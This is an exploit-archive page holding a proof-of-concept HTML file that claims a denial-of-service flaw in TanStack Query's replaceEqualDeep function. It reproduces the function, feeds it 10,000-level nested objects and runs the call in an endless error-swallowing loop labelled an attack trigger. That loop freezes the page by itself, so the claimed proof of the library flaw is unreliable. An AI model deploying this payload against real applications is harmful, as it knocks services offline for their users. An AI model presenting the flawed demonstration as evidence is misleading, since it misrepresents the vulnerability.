5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / tanstack-query-poc.html HTML
<!DOCTYPE html>
<html>
<head>
  <title>TanStack Query DoS PoC - Visual</title>
  <style>
    body { font-family: Arial, sans-serif; padding: 20px; }
    .status { padding: 10px; margin: 10px 0; border-radius: 5px; }
    .alive { background: #90EE90; }
    .dead { background: #FFB6C1; }
    button { padding: 10px 20px; margin: 5px; font-size: 16px; cursor: pointer; }
    #counter { font-size: 24px; font-weight: bold; }
    #timer { font-size: 20px; color: blue; }
  </style>
</head>
<body>
  <h1>TanStack Query - replaceEqualDeep DoS PoC</h1>
  
  <div class="status alive" id="status">✅ App Status: ALIVE</div>
  
  <h3>Interactive Elements (should work before DoS):</h3>
  
  <!-- Counter button -->
  <div>
    <button onclick="increment()">Click to Count: <span id="counter">0</span></button>
  </div>
  
  <!-- Live timer -->
  <div>
    <p>Live Timer: <span id="timer">0</span> seconds</p>
  </div>
  
  <!-- Input test -->
  <div>
    <input type="text" id="testInput" placeholder="Type here to test..." oninput="onType()">
    <span id="typing"></span>
  </div>
  
  <hr>
  
  <!-- DoS trigger -->
  <h3>⚠️ Trigger DoS Attack:</h3>
  <button onclick="triggerDoS()" style="background: red; color: white;">
    TRIGGER DoS (10000 depth) - App Will Freeze
  </button>
  
  <hr>
  <pre id="log"></pre>

  <script>
    // === Interactive elements ===
    let count = 0;
    let seconds = 0;
    
    function increment() {
      count++;
      document.getElementById('counter').textContent = count;
      log('[USER] Button clicked, count: ' + count);
    }
    
    function onType() {
      document.getElementById('typing').textContent = ' ✓ typing works!';
    }
    
    // Live timer - proves JavaScript is running
    setInterval(() => {
      seconds++;
      document.getElementById('timer').textContent = seconds;
    }, 1000);
    
    function log(msg) {
      console.log(msg);
      document.getElementById('log').textContent += msg + '\n';
    }

    // === TanStack's vulnerable code ===
    function isPlainObject(o) {
      if (Object.prototype.toString.call(o) !== '[object Object]') return false;
      const ctor = o.constructor;
      if (ctor === undefined) return true;
      const prot = ctor.prototype;
      if (Object.prototype.toString.call(prot) !== '[object Object]') return false;
      if (!prot.hasOwnProperty('isPrototypeOf')) return false;
      if (Object.getPrototypeOf(o) !== Object.prototype) return false;
      return true;
    }

    function isPlainArray(value) {
      return Array.isArray(value) && value.length === Object.keys(value).length;
    }

    function replaceEqualDeep(a, b) {
      if (a === b) return a;
      const array = isPlainArray(a) && isPlainArray(b);
      if (!array && !(isPlainObject(a) && isPlainObject(b))) return b;
      const aItems = array ? a : Object.keys(a);
      const aSize = aItems.length;
      const bItems = array ? b : Object.keys(b);
      const bSize = bItems.length;
      const copy = array ? new Array(bSize) : {};
      let equalItems = 0;
      for (let i = 0; i < bSize; i++) {
        const key = array ? i : bItems[i];
        if (a[key] === b[key]) { copy[key] = a[key]; equalItems++; continue; }
        if (a[key] === null || b[key] === null || typeof a[key] !== 'object' || typeof b[key] !== 'object') {
          copy[key] = b[key]; continue;
        }
        const v = replaceEqualDeep(a[key], b[key]);
        copy[key] = v;
        if (v === a[key]) equalItems++;
      }
      return aSize === bSize && equalItems === aSize ? a : copy;
    }

    function generateDeep(depth) {
      let obj = { value: 'end' };
      for (let i = 0; i < depth; i++) obj = { nested: obj };
      return obj;
    }

    // === DoS Trigger ===
    function triggerDoS() {
      log('[ATTACK] Generating 10000-level nested objects...');
      log('[ATTACK] Calling replaceEqualDeep()...');
      log('[ATTACK] Timer should STOP if DoS works...');
      
      const oldData = generateDeep(10000);
      const newData = generateDeep(10000);
      
      // This will freeze the JS thread
      while(true) {
        try {
          replaceEqualDeep(oldData, newData);
        } catch(e) {
          // Keep trying to simulate continuous API calls
        }
      }
    }
  </script>
</body>
</html>